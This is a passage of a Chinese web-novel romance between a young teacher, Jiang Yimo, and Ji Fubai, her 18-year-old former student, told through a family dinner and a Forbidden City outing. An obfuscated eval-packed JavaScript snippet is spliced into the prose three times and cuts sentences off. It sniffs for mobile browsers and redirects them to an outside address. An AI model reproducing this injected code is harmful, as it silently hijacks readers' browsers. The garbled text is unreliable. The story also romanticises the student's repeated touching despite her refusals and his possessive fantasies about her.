蒋斯源一听纪复白在,立马同意过去:“好啊好啊纪叔叔,你领我们过去吧,我们昨天还跟小白见过……” 蒋一茉想婉拒已经来不及,心里骂她弟真是个没眼力见的家伙,人家随便客套一下他还当真了,只好跟着一起去包厢。 纪复白看见先进来包厢的蒋斯源时,还在惊讶,等到看见蒋一茉,眼里笑意瞬间满得要溢出来。 他起身走过去,“这么巧?文阿姨,蒋斯,茉茉——”收到眼神警告,又不情不愿补上:“姐。” 大家寒暄两句,纪烽说都别站着,坐着聊,于是众人落座。 纪复白没能和蒋一茉坐一起,中间隔了个蒋斯源。 纪烽又把坐在纪复白左手边的女儿纪思梦介绍给他们。 女孩儿留着及肩短发,眉眼和纪复白有神似的地方,但是气质没他那样舒张,模样文静,性格腼腆。 “文阿姨好,一茉姐姐好,斯源哥哥好。”纪思梦小声跟他们打招呼。 在女孩儿另一边是她的妈妈,袁玥,正是上回蒋一茉家访时见过的纪复白妈妈。 袁玥根据刚刚他们几人的三言两语,对这个蒋老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377804|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一家人和纪复白的关系感到好奇,因为此前并没听纪复白提起过。 于是文娟把以前的事都慢慢讲来,大家一边吃一边听,仿佛又回到那个年代。 回到地震之前,四川一个小城正繁荣发展,纪复白亲爸跟着他亲妈回他妈妈家乡定居,投资建厂。 纪复白和蒋斯源因此成了小学同学。 纪复白父母比较忙,他便经常放学跟蒋斯源回家,两人一起玩耍一起做作业,有时吃了饭文娟才把小孩送回家去。 谈到纪复白父母,文娟一边夸赞说他们是人品非常好的一对夫妇,一边叹气惋惜这么好的人竟被天灾带走。 纪烽和袁玥想到这个二弟和他媳妇的遭遇,也不禁眼眶湿润,跟着叹息,又问文娟,地震当时他们什么情况。 文娟便又讲述一遍地震当时的事。 那时,纪复白爸妈的厂子也是正有起色的时候,震惊全国的一场大地震在一个平淡无奇的下午突袭,无数家庭损失惨重。 当时文娟家里,丈夫在外地,蒋斯源被蒋一茉派去给文娟送午饭,剩下蒋一茉和纪复白两人。 房子摇晃垮塌几乎三五秒的事,蒋一茉抓起正睡午觉的纪复白躲到书桌下。 霎时间地动山摇,天崩地裂,碎石尘土飞扬陷落,蒋一茉抱紧纪复白,护着他的头,叫他别怕,说姐姐在这儿。 后来具体怎么出来的,蒋一茉从来没细讲过,在医院醒来后也说自己有些忘了。 只说,她听见有好多人呼喊他们的名字,于是拼了命的想出去,最后也终于见到阳光。 短短一句话便带过。 纪复白那时年纪还小,被背出来时几乎全程是昏厥状态,更是没什么印象。 文娟每次提起当时看见蒋一茉背着纪复白从废墟底下爬出来时的情景,都会掉泪,此刻也是。 “妈,可以了,”蒋一茉握握妈妈的手,又跟大家说:“吃饭吧,事情都过去好多年了,现在大家都挺好的,就不提了。” “你哪里知道,你当时从地底下爬出来的时候,两只手的手指甲盖全都抠掉了,满手的血,脸上也是,叫你也不应,只是瞪着通红的眼睛,人都傻了一样……”文娟边说边抹眼泪。 她每次想起来都觉得对不起女儿。 那时她女儿也只有14岁,身材又瘦小,她都不知道她是怎么做到的。 袁玥拿纸巾擦眼泪,也听哭了。 纪烽起身,端着酒杯走过来,郑重地给蒋一茉敬了杯酒,仰头干了。 “纪叔叔,您别这样……”蒋一茉赶忙站起来。 纪烽道:“说实话,我们当时全家人陷在小白父母去世的震惊当中,远在外地也不知道那边具体情况,没有及时跟你们取得联系,表达感谢,实在是太不该了。” 说完,又对纪复白道:“小白,你也该跟蒋老师,哦不,叫老师生疏了,现在又毕业了,还是叫一茉姐听着亲切对吧,小白,你该跟一茉姐姐好好道个谢。” 蒋一茉:“没事的,那时大家都是一团乱,现在事情也过去了,就不提了。只要纪复白还好好的,我就开心。” 这是蒋一茉的真心话。 不管以前,现在,还是以后,只要纪复白好好的,她都开心。 话音刚落,她被少年紧紧拥入怀里。 纪复白个高,体格宽阔,几乎把娇小的她整个揉进身体,按着脑袋,不留缝隙。 蒋一茉脸颊贴紧对方只穿着单薄黑色T恤的温热胸膛,他那浮着青筋的手臂勒得她后背有些疼,还有些无法呼吸,可她从未这么清晰地感受过除自己以外,别人的心跳。 这颗心脏是如此蓬勃有力,生命力盎然。 这瞬间,她忽然顿悟,当时是什么支撑自己带他爬出来。 原来,就是为了这一刻的心跳。 纪复白:“谢谢。” 这一句,语气格外珍重,泪光闪烁在少年垂下的眼尾,好像那时碎石堆里冒出的,带着希望的,细碎的光。 等大家都平复了心情坐下来,袁玥笑道:“这么看,你们两个还相当有缘分呢,后来一茉又成了小白的语文老师,这以后要有机会,咱们成为一家人才好。” 闻言,蒋一茉刚伸出去夹菜的手臂一下停滞在半空。 纪复白忍住笑,帮她夹了菜放到碗里。 袁玥:“所以,我提议,小白认一茉当干姐姐吧?” 纪复白:“……” 筷子一个没拿稳磕在碗沿,声音清脆,这回轮到纪复白顿住。 他看眼蒋一茉。 干姐姐,不行。 干姐姐,可以。 26. 主人 “阿姨这个提议好,我赞同,这样我们就算亲兄弟了。”蒋斯源拍拍纪复白的肩,“你比我大几个月,我愿意管你叫白哥!” 纪复白斜睨他一眼,谁要当亲兄弟,他要当他姐夫! “算了吧,我跟她之间,不需要被那些关系捆绑。”他说着这话,看向蒋一茉。 蒋一茉只是轻轻碰了下他目光,立即又转向别处。 袁玥看他们两个人面上都有些抵触,笑说:“好吧,当我开个玩笑。” 纪烽看看纪复白,又看一眼蒋一茉,笑了笑,没发表意见,喊大家接着吃饭,不够再加菜。 不一会儿,袁玥提起明天纪复白要带纪思梦去逛故宫,问蒋斯源要不要也一起去。 她看蒋斯源是个外向活跃的孩子,说不定能把她女儿纪思梦也带得活泛一点。 她总觉得女儿太内向,女生乖巧点是好,但太内向自闭也不行。 何况他们马上还要带她出国读大学,暑假多跟生人接触,等去了国外和同学交际不至于太过紧绷。 蒋斯源一口答应,马上预约,一看还真有号可以捡漏,又赶紧问他姐去不去。 蒋一茉拒绝道:“你们三个去吧,你们年龄相仿,比较有共同语言,我就不跟着掺和了。” 余光里,纪复白看了过来,她垂下眼吃饭,不看他。 “姐,你去吧,你不去,我们几个小孩儿渴了饿了都没人管。” 蒋斯源撞撞他姐的肩头,笑得一脸谄媚。 纪烽大笑着道:“这孩子,就坑你姐是吧?你让我想起来,我以前也被我几个弟弟妹妹这么坑来着。没事,一茉你跟他们一起去玩儿,买什么吃什么,小白先垫着,回头找我,全部给你们报销。” 事实上就算不报销,纪复白也完全承受得住这座皇城的物价。 纪家家底相当雄厚,纪老爷子去世后,给纪复白那一份遗产里连同还有他亲生父亲的那一份,现在全由家族信托在管理。 按老爷子的规定,信托机构每月给纪复白发放一笔非常可观的生活费,等他年过22,所有遗产可全部自由支配。 纪复白从没花光过生活费,现在的积蓄已经比大多数工作半辈子的人还丰厚数倍。 文娟也劝蒋一茉:“你弟好不容易来一趟,你们又多少年没见了,你带他去玩玩儿。” 蒋一茉正犹豫着,手机上来了条新消息,点开一看,纪复白在微信上撒娇求她—— 【去吧,有只叫小白的小狗想要主人遛遛他。】 这话之后,还跟着发了一张戴眼镜的小萨摩耶可爱摇头表情包。 以前只是发小狗表情包,这还是他第一次自称小狗,喊她主人,并且没有撤回。 看来终究是突破了节操底线。 蒋一茉抿了抿唇,拿他没办法,放下手机,说:“好吧,我跟你们一起去。” 她无奈看眼纪复白,再不给面子说不过去了。 饭后,纪烽买单,又派车送蒋一茉他们回去。 睡觉前,蒋一茉从枕头底下摸出那两个凤冠冰箱贴,轻轻地抚摸每颗精致串珠。 她有些不明白,明明纪复白也清楚,他们之间不需要被那些关系捆绑,他们天然地被许多无形的线牵在一起,他为什么非要执着爱侣这层关系? 阳台上,蒋斯源正和纪复白有一搭没一搭聊着游戏。 纪复白突然问:【你姐睡了?】 蒋斯源爬起来看一眼,说:【还没。】 因为收到回复太快,纪复白又问:【你房间离她很近?】 蒋斯源:【我们睡一个房间】 睡一个房间??? 纪复白本来洗完澡已经躺在床上,刷到这条回复倏地坐了起来,又嫉妒又有点火大。 蒋斯源迟迟没收到回复,再一看之前发那条是有点奇怪,解释说:【你们独生子女是不是有点难以理解,其实没事,我们睡觉都穿着衣服,我在阳台,我姐在屋里,中间隔着一堵墙,还有个门,跟两个房间没什么区别。】 看到这番解释,纪复白觉得是自己狭隘了,回复道:【可以理解,亲人而已。】 但他还是嫉妒,嫉妒得发疯,凭什么睡蒋一茉隔壁的不能是他? 下床满屋里溜达一圈,又去喝了杯冰水,他回到床上把那只兔子玩偶抱在怀里紧紧勒了又勒,这才冷静。 蒋一茉都快睡着了,收到纪复白的微信。 只有简短两个字:想你。 可这两个字背后,相思之情早已泛滥成灾。 她把冰箱贴塞进枕头下,回复他:【明天需要我带条牵引绳吗?】 纪复白:【他不会咬人也不会乱跑,放心,你的小白是世界上最乖的小狗,只做你一个人的小狗。】 蒋一茉笑了笑,准备锁上手机睡觉,对方又来一条:【不回我,睡着了?】 蒋一茉:【嗯,快睡。】 纪复白:【晚安,要睡个好觉。】 蒋一茉:【一个小时前你就发过这句了。】 纪复白:【再说一遍。】 蒋一茉一个小时前没回他那句“晚安”,她从来都不回,今天却犹豫着,在脑子还没拿定主意回不回时,手指已经诚实地做出选择,也破天荒回了他一句:【晚安。】 纪复白放下手机,把脸埋在兔子玩偶身上,摸着长长耳朵,因为这句“晚安”,一夜安稳好梦。 第二天一早,蒋一茉起床刷牙,顺便看一眼手机,发现纪复白这厮凌晨5点就给她发来一条微信。 纪复白:【茉茉,你今天穿什么色系?】 蒋一茉还是不习惯“茉茉”后面没有“姐”或“老师”两个字,总感觉对方在以下犯上,自己引以为傲的领域被侵入了。 不过她知道,纪复白这家伙要的就是侵入。 她回:【起的够早。】 纪复白秒回:【汪汪汪】 她皱了皱眉:【讲人话】 纪复白:【想主人(亲亲)】 蒋一茉:【……正经点行吗。】 纪复白:【都正经18年了,还要怎么正经(微笑)】 蒋一茉笑了两声,手机放一旁不再理会,低头漱口洗脸。 穿什么色系呢? 她洗漱完,拉开衣柜,坐在床上,想了想这个问题。 今天天气热,逛故宫全程走路,最好是穿一双好穿好走的鞋。 她想了想自己的几双运动鞋,最喜欢的是那双鬼冢虎白底黑纹。 那就黑白色系吧。 正要拿下衣服换上,手机上显示纪复白来电,这次直接打电话来问她穿什么颜色衣服。 “干什么?”她反问。 “想跟你穿情侣装。”他倒也不怕小心思被她知道,老实回答。 蒋一茉却是真没想到他能这么大言不惭地直接讲出来,说:“又不是情侣,穿什么情侣装,老实穿你自己的,管我干什么。” 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382665|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完,无情挂断,手机丢开,准备换衣服。 等到蒋斯源也准备完毕,两人穿鞋出门。 蒋一茉来回打量她弟,“至于穿这么骚包吗?” 蒋斯源穿了一身红,红短裤,红色长袖防晒外套,白色T恤上是红色图案,白色球鞋上也带一点红。 但不得不说,少年的身高和长相给这一身加了不少分,青春又有活力,甚至给人精力过剩的感觉,只不过红色衬得他又更黑了。 “我这不是怕万一走丢,你们好找我吗。”蒋斯源笑道,“再说了,年轻的时候不穿鲜艳一点,等长到你这个年纪也不好意思穿了,只能要么黑要么白。” 蒋一茉抬手拧他胳膊,“什么叫我这个年纪?我什么年纪?我也有红色衣服好吗,只是今天太热,想穿得简单点。” 她今天穿了件白色修身T恤,外面套一件白色长袖防晒衣,下面搭一条黑色牛仔A字短裙,脚上是鬼冢虎运动鞋,一头大波浪卷发压在一顶黑色鸭舌帽下。 黑白配色虽然经典也确实无聊,所以她背了一只鹅黄色斜跨波士顿包,搭配两只大圈耳环,打破无聊的同时也增添一点风情。 昨天四人说好,纪复白和纪思梦坐车来接他俩,然后一起去故宫。 等蒋一茉和蒋斯源走出小区,车已经停在路边,是纪复白毕业前经常接送他上下学的那辆黑色宾利添越。 蒋斯源率先抢了副驾驶座位,跟他姐笑说:“你跟他俩挤去。” 蒋一茉瞪他一眼,拉开门,坐进去,挨着坐中间的纪复白。 纪复白的目光在她身上来回一扫,微微偏头,附耳轻声道:“我猜对了。” 蒋一茉也打量他一眼,清爽的白色T恤,白色防晒外套,黑色休闲长裤,斜跨一只黑色相机包。 平平无奇的一身,但全拜那张脸所赐,少年身上不需要再有别的东西点缀,就已经非常出挑。 这时,她的脚被人碰了碰,她用眼神询问对方又要发什么癫? 纪复白示意她低头看一眼。 蒋一茉低头,看见一双跟自己脚上一模一样的鞋,只不过是男款的码数。 “……” 这给她提了个醒,好像还不止是鞋。 她刚刚一进来就觉得他俩的防晒衣也像,但因为防晒衣本来就这些款式和颜色,所以没细看。 此刻她偏头又仔细地瞧。 这时,手机上收到纪复白的微信。 纪复白:【不用看了,防晒衣在学校见你穿过,所以我也买了一件男款,鞋也是。】 只要见她穿过的款式,纪复白都会去搜一下有没有男款,有的话通通都买回来,家里一堆她同款。 他之前也穿过那些同款,蒋一茉没注意,今天实在撞得太多,想不注意都难。 看完这条微信,蒋一茉又转头看本人,无奈摇头。 蒋一茉:【无药可救。】 纪复白:【你就是药,可你不愿意救我。】 蒋一茉没作声,把手机收起来,看向窗外。 蒋斯源在前面叨叨着昨晚看的攻略,只有纪思梦在认真听,偶尔小声附和一句。 趁他俩聊起来,纪复白右手不言不语地从蒋一茉胳膊下穿过,摸进女人手掌十指相扣,又带着她手一起揣进自己裤子的兜里——藏起来以免被发现。 一套动作行云流水,前后不过两秒时间,等蒋一茉反应过来,已经挣脱不开,叫地地不灵,叫天天也不应了。 27. 男人 车里不好发作,蒋一茉只能拿眼睛使劲瞪纪复白。 后者却把眼睛挪开,不和她对视,一脸无事发生。 她心一横,踩他一脚解气。 狗爪被踩,纪复白也不恼,搭上前排蒋斯源的话茬闲聊,暗地里用拇指抚摸那细腻手背,以示安抚。 不时,他又用食指去顶她的食指尖玩儿,用拇指和食指丈量她手指的长度,摸摸她剪得短而干净的指甲,轻轻捏肉肉的指腹…… 他一路玩得不亦乐乎,只是一切不能见天日,不然他还想放到嘴里咬一咬。 进故宫前排队安检,蒋一茉身前身后两个大高个帅哥,一个白衣飘飘清冷有型,一个红衣湛湛洒脱阳光,简直是行走的少女心收割机。 蒋一茉夹在他俩中间,被各方视线打量,实在有些承受不住,做不到他俩习惯成自然,便悄没声地和纪复白换了位置,站到纪思梦后面。 女孩儿今天穿的是一条牛仔背带裙,内搭是白色娃娃领衬衣。 乖巧可爱的气质让蒋一茉幻视好几个自己教过的女学生,尽管才第二次见面,也觉得亲切。 “热不热?”她拿出小风扇对准女孩儿吹,一手举着遮阳伞。 纪思梦把风扇又转回她,腼腆道:“我不热,一茉姐,你吹。” 蒋一茉干脆凑她再近一些,两人一起吹,见太阳光晃眼,又把自己带来的墨镜给她戴上。 纪复白两手插兜长身玉立,人群中鹤立鸡群,跟蒋斯源闲聊篮球和动漫,目光却漫不经心落在身前女人被风吹得来回晃荡的大耳圈上。 金属材质,阳光下,反射细碎耀眼的光。 耳圈附近的皮肤,和裙子下两条又细又直的腿一样,雪白无暇。 太过美好,他便想要狠狠欺负和破坏,等她眼眶湿红,含泪求他,再好好地亲吻安抚,然后反复如此,直到她脱水失力,再也没有力气从他身边离开…… 少年发现自己的确无药可救,就连蒋一茉本人也救不了他。 因为他根本没想被治好,他就是要沦陷,还要拉着她一起。 几人过完安检,蒋一茉拿了包正要重新背上,突然手里一空。 纪复白抢走,二话不说斜挎在自己身上。 蒋一茉这只波士顿包的风格偏中性,男生背着倒也不违和,一抹鹅黄对于纪复白这一身素净,反成了点睛之笔。 趁纪思梦往前去拍照,蒋斯源还没安检出来,蒋一茉想跟纪复白好好掰扯一下,拉着自己包带不放,皱眉道:“别闹了,快还我!” 纪复白:“我帮你背着,你轻松一点。” 蒋一茉:“我包又不重!” 纪复白:“别拉拉扯扯了,待会儿你弟该问咱俩什么关系了。” 蒋一茉:“你背着我包他才真的要问呢!” “放心,我刚刚跟他提前打过预防针,说了会帮你背包,只要你别一副做贼心虚就行。” 纪复白挑了挑眉,笑得有几分得意,又说:“还不松手,呐,你弟马上安检完要过来了。” 蒋一茉见弟弟已经出来,瞪他一眼,转头去前面找纪思梦。 蒋斯源过来,瞅见亲姐的小黄包在好兄弟身上,笑着撞了下他肩头道:“可以啊,你还真帮我姐背包?” “怎么?”纪复白气定神闲,淡淡地问。 蒋斯源:“别这么会讨我姐开心行吗,显得我这个亲弟很不懂事一样。” “那你背?”纪复白作势要把包拿下来。 “算了算了,你都已经背上了,继续背着吧,我本来就是不懂事弟弟人设,还是继续贯彻下去比较好。”蒋斯源一双眼贼贼地眯起来。 这反应全在纪复白预料之中,他勾唇笑笑,又把包背好,两人往前去找蒋一茉她们汇合。 过了午门,纪思梦想租讲解器,蒋斯源觉得好玩儿也跟着要,最后四个人每人都拿到一个。 蒋一茉正要付钱,被纪复白按下手机,他来扫码。 几人又往前去,蒋斯源和纪思梦走在前面,讨论着讲解器的使用。 蒋一茉故意落后几步,跟身旁纪复白小声道:“等你成长为一个真正的男人时,再维护你的面子,行吗?下次让我来付钱。” 闻言,纪复白蹙眉,很有些不爽,“那么,蒋老师,我请问,什么样的男人才叫真正的男人?” 蒋一茉:“……” 不等答复,他不疾不徐又道:“我身体健全,男人该具备的都具备,甚至比别的男人更优秀,性别百分百为男,性取向百分百为女,我凭什么不是一个真正的男人?你又为什么不把我当一个真正的男人看待?年龄歧视?” 蒋一茉一时间噎住,她本意是想让他不要和自己抢着付钱,自己大他几岁,花钱带他们玩儿应该的。 没想到,一句“真正的男人”给这家伙说应激了。 “真正的男人”自然无法三言两语简单概括,也并不是年龄到了就成为了,有担当有责任感这种话此刻说出来也是空话。 蒋一茉停下来,看着他,说:“我觉得,起码能自己挣钱养活自己,才配叫自己男人,不然就是一个永远被家庭呵护的长不大的小男孩儿。” 她故意针对他身上最薄弱的地方。 纪复白扬唇冷笑,“我认为蒋老师你的观点过于狭隘了,有的人初中毕业就去社会上打工挣钱养活自己,所以你觉得他们是真正的男人,而我只是做好学生的本分,却比不上他们?” 蒋一茉:“……那倒也不是。” “说到底,你提出的这一点只是在故意针对我而已。如果你非要要求我从娘胎里出来就能自己挣钱养活自己,否则你就不承认我是可以与你并肩的男人,我也无话可说。现阶段只能是我读书学习的阶段,但并不耽误我喜欢你,也不耽误我会为你承担应该承担的一切。” 少年语气笃定,不卑不亢。 蒋一茉在他那双冷静从容的眼睛里挣扎半天,一时讲不出什么辩驳的话来。 这时候,蒋斯源在远处叫他俩,她没再说什么,转身小跑着跟上。 纪复白看着她被风吹起的防晒衫,心说我不是真正的男人,难不成还是女人么。 对啊,他刚刚就应该这样风轻云淡回答她,而不是输出那一大堆,显得好像被戳中痛点急了一样! 原地复盘完,纪复白为自己刚刚的过度反应浅浅叹息一声,也迈步跟上。 逛到太和殿,蒋一茉的讲解器开始不好使,也不知道自己是按错了什么键,还是本来就不好用。 纪复白一路举着单反拍照,照片里的主角永远都是蒋一茉,不管抓拍还是定点拍,她在他镜头里美得一塌糊涂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388538|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那张小脸,五官精致小巧,轮廓温婉甜美,眉眼灵动,笑容明媚。 又连按几张,见“模特”一直在低头捣鼓讲解器,他上前去问道:“怎么了?” 蒋一茉:“没声音了,不知道为什么。” 纪复白帮忙调了一下,依旧没有声音,于是帮她收起来,放进自己外套兜里。 “戴我的吧。”他拿起自己另一只耳机。 蒋一茉觉得两人用一个讲解器过于亲密,拒绝道:“不用,你自己戴吧,我不听了。” “讲得很有意思,听听吧。”纪复白一边说,一边给她戴上。 两人被耳机线牵制,纪复白这会儿给蒋一茉也拍不了照,干脆放下单反,陪着她逛。 蒋斯源和纪思梦不知道因为什么话题拉近了距离,两人也一直并肩走在一起。 被蒋斯源带的,纪思梦变得话多起来,笑容没从脸上下去过。 纪复白举着蒋一茉的粉色遮阳伞,和蒋一茉跟在他俩身后不远,不时地拉一下女人手臂,无奈道:“离我近一点儿,又不会吃了你,都快把我耳机扯掉了。” 蒋一茉脸色不太自然:“我看见了一个熟人。” “嗯,谁?”纪复白不是很在意。 这时,蒋斯源跑回来,问纪复白借相机,拿到后又继续往前去找纪思梦。 等他走了,蒋一茉才又接着说:“是你们班英语课代表程茜,不过她只是远远对我笑了下,又看了你一眼,并没有过来打招呼。” 上回纪复白那条朋友圈评论里,程茜发的那句英文歌词,明眼人一看就知道什么意思。 所以蒋一茉不太自在,却因为耳机线的缘故,又不能和纪复白离得太远。 纪复白:“待会儿去买个雪糕吃吧?” “嗯?”蒋一茉诧异怎么话题突然转到雪糕上,转头,见少年那张帅气脸庞上依旧一派淡定。 看来,被熟人撞见和高中语文老师戴同一副耳机逛故宫这事儿,未曾激起他心底一波一浪。 “好。”她答应道。 顿了两秒,又说:“就像我之前讲过的,你还是应该去试试对同龄人感兴趣,当然,如果你就是喜欢大你一点的姐姐也没关系,但不应该是我。” “为什么?”纪复白问。 蒋一茉低眸,盯着前进的脚尖,沉吟几秒,说:“你不觉得,就现在这样挺好的吗,不管什么关系,都比做情侣要好。” 纪复白:“不觉得。” 蒋一茉:“情侣会分手。” 纪复白:“朋友还会决裂呢,亲人也会反目成仇,任何一段关系的发展都是未知的,且有无数种可能性,担心这个发生,担心那个发生,只是自寻烦恼。喜欢就要在一起,我这么认为也这么执行,瞻前顾后,不是我的性格,为了吓退自己而故意夸大未知的风险,预设问题,预支痛苦,我认为那是蠢人的做法。” “……” 蒋一茉感觉心里被什么猛然撞了下,撞得她有点发懵。 等等,她是不是还顺便被骂了? 纪复白也反应过来嘴快了,抬手搂过她肩,拇指抚摸两下纤薄肩头,弯着眼笑:“没骂你,你会担心这些不是因为蠢,是因为太爱我,我知道。” 蒋一茉:“……” 还不如骂她蠢呢。 28. 心里有鬼 蒋一茉没再说什么,任由纪复白带着去买雪糕。 之后几个人选了阴凉处的连廊,坐着休息吃喝。 蒋斯源说:“如果不是在这么热的天来逛就好了,体验感会好很多。” “对不起。”听完他的话,纪思梦突然冒出这么一句。 几人都没反应过来。 “啊?你对不起什么?”蒋斯源问。 “是我想来的,让你们都跟着遭罪,对不起……”纪思梦把头埋得更低了。 蒋斯源立马笑道:“你别这么想,是我非要跟着你和小白来玩儿的,其实我不怕热,你看我晒这么黑就知道。” 说完,还把自己古铜色手臂伸到女孩儿面前晃了晃。 蒋一茉也跟着安抚:“是我们自己要跟着来玩儿的,而且也都玩的很开心,故宫还是挺有意思的,我们慢慢逛,累了就找地方歇一歇,没事。” 她看得出来,纪思梦很喜欢故宫,还专门带了本子一路写写画画。 纪复白说:“等天气凉爽一些,我们四个再来逛一次吧?” “好!”蒋斯源举着雪糕大声附和,“说定了哈,还是我们四个,就算你们谈恋爱了,也不许带家属!” 纪复白笑了笑,转头跟蒋一茉小声道:“我们互为家属怎么办?” “……”蒋一茉露出蒙娜丽莎一般平静的微笑,只静静拿眼神“杀”他。 见状,蒋斯源坐到纪复白身边,搂肩笑说:“小白,你又跟我姐说什么悄悄话,我发现你今天特别粘我姐,还帮她背包,是不是昨天回去一想,有个干姐姐也不错,今天想尽力表现一下,好让我姐收了你?” 纪复白笑而不语,垂眸咬掉最后一口雪糕。 “我有你一个弟弟就够烦了,再来个哥哥倒还不错。”蒋一茉歪靠着廊柱,没好气道。 她只是随口一说,没察觉纪复白的眸光却随之暗沉,笑意也慢慢消失。 蒋斯源道:“噢,原来你喜欢哥哥,那就赶紧给我找个年纪比你还大的姐夫呗!” 蒋一茉轻哼一声,转头问纪思梦还要不要吃烤肠,扯开话题。 几人休息完,继续开逛,说好走到前面故宫餐厅就停下来吃午饭。 中途蒋一茉走累了,在蒋斯源和纪思梦逛纪念品店时,她没进去,在门口的长椅上坐下等他俩。 纪复白自然是陪着她,见长椅上没位置了,便站她面前,拿过她手里的小风扇帮忙举着。 蒋一茉腾出手,正好脱掉防晒衣凉快凉快。 她里面T恤是修身款,好身材一览无余,胸线和腰线部位更是优越,周围好些男的瞄了过来,纪复白一一都瞪回去。 看屁,这是他的女人。 蒋一茉又摘下帽子,抬手拢拢头发。 就连这最简单的动作,也透着风情。 纪复白喉结滚了滚,抬手,食指伸出去勾了下她耳环,满意地看着那只直径6厘米的大耳圈又轻轻晃动起来。 蒋一茉觉得他或许是在好奇怎么会有这么大的耳环,便笑道:“怎么,没见过?” “没见过戴的像你这么好看的。” 纪复白这会儿的眼神,恨不得现在就把这女人按倒在床上,咬着耳圈狠狠办她。 蒋一茉站起来道:“你也坐会儿。” 这个时候故宫里已经遍地是人,不可能会有第二个位置给纪复白坐,所以她让出来。 纪复白倒也没客气,只不过坐下时,抓过蒋一茉手腕儿,把她也带进怀里坐着,手臂圈住细腰。 体型差的缘故,蒋一茉整个娇小身子陷入男生宽大怀抱,挣扎不得。 她吓了一跳,吼道:“你干什么,赶紧放开我!” 旁边人投来疑惑打量的目光,她倒不好继续发作了,怕纪复白真被别人当成流氓看,不好意思笑了笑,勾住他脖子,假装小情侣在玩闹。 想到除了有可能被蒋斯源和纪思梦看见,还有程茜也有可能看见,她赶紧摘下自己帽子戴到纪复白头上,压低帽檐,挡住他脸。 她一阵手忙脚乱,倒给纪复白逗笑了,说:“别怕,我只说一句话,说完就走。” 蒋一茉安静下来,垂眸听他讲。 纪复白温柔凝望她侧脸,想去吻她卷翘又纤长的睫毛,与此同时,声音轻缓又平静:“不要喜欢哥哥,喜欢我,喜欢小白,喜欢此刻正抱着你的人,好不好?” 蒋一茉心里一紧,回头,看向少年眼里,又怕真的一头栽进去,眼睫颤了颤,慌忙跳开视线。 纪复白放开她,站起来,说进去看看有没有好看的,给她挑个纪念品,让她再坐会儿。 走进店里,逛了一圈,和蒋斯源纪思梦碰上头,纪复白挑了一只冰箱贴看了看。 “这个怎么样?买给你姐。”他问蒋斯源道。 蒋斯源笑说:“别给她买冰箱贴了,她喜欢的人给她送过了,别的冰箱贴肯定都看不上。” 纪复白皱眉:“她喜欢的人?谁?” 蒋斯源扬了扬眉,八卦道:“你知道国家博物馆的凤冠冰箱贴吗,人家专门跑去排队买了俩送她,我想找人代排队也买两个,她还批评我没人家用心,说什么自己排队买来送人才有意义。” 说完又笑:“还说喜欢的人送的冰箱贴要放枕头底下,不能贴冰箱上,你说那玩意儿放枕头下不硌得慌吗,再给压坏了,可她从小就这毛病,什么都喜欢往枕头底下塞,小时候还往枕头底下藏过我们家最后一个苹果,半夜在被窝里偷偷啃,就为了躲着我吃独食……” “喜欢的人送的冰箱贴?”纪复白眉心皱得更深,“她真这么说?” 蒋斯源点点头,“对啊。” 蒋一茉啊蒋一茉……纪复白想笑,心里又有股火气在窜,这女人明明喜欢他,在他面前却不承认,真把他当蠢弟弟哄。 他在原地站了好久,试图理解,直到蒋斯源和纪思梦结完账准备走了,叫他,他才回过神来,丢下手里的冰箱贴,一时也没看上别的,跟着先出去了。 这之后,几人又再往前走。 来到故宫餐厅,碰巧遇到一个空桌,立刻占下。 “我来点餐。”纪复白抢先扫码点餐,这四个字说给蒋一茉听,暗示不要跟他抢。 等下完单,纪思梦抿了抿唇,说:“我想去下厕所。” 她不太认路,害怕自己一个人去了迷路走不回来,又不想麻烦他们陪同,已经忍了一路,这会儿实在忍不住了。 谁知她刚下定一个人去的决心,才起身,蒋斯源立刻也站了起来:“我也去,走,我陪你。” 她愣愣地看了又看他,弯眼笑起来,这下有人陪着就不怕了。 “你俩去不去?”蒋斯源又回头问。 纪复白和蒋一茉依旧坐着,说等他俩回来,再换他们去,两个人守着这个桌子感觉安全点,毕竟还有好多排队的人如狼似虎的盯着。 等他俩离开,蒋一茉叹着气道:“纪复白同学,我可以给你作为男人的面子,你有时候是不是也得给我作为姐姐的面子?我一个挣钱的人,花你一个刚毕业学生的钱,我回家会做噩梦的。” 纪复白却道:“我虽然不挣钱,但我有钱,而且比你们三个都有钱,我请客是应该的,不用有负担。” “……”蒋一茉顿了顿,说:“我知道你有钱,但我想花我自己的。” “我的就是你的,等以后结了婚全都是你的,所以,花我的也是花你的。”纪复白说。 蒋一茉一额头撞进掌心,服了,这人还能不能讲理了。 纪复白把帽子摘下来,抓了两下头发又戴上,说:“我喜欢你这个帽子。” 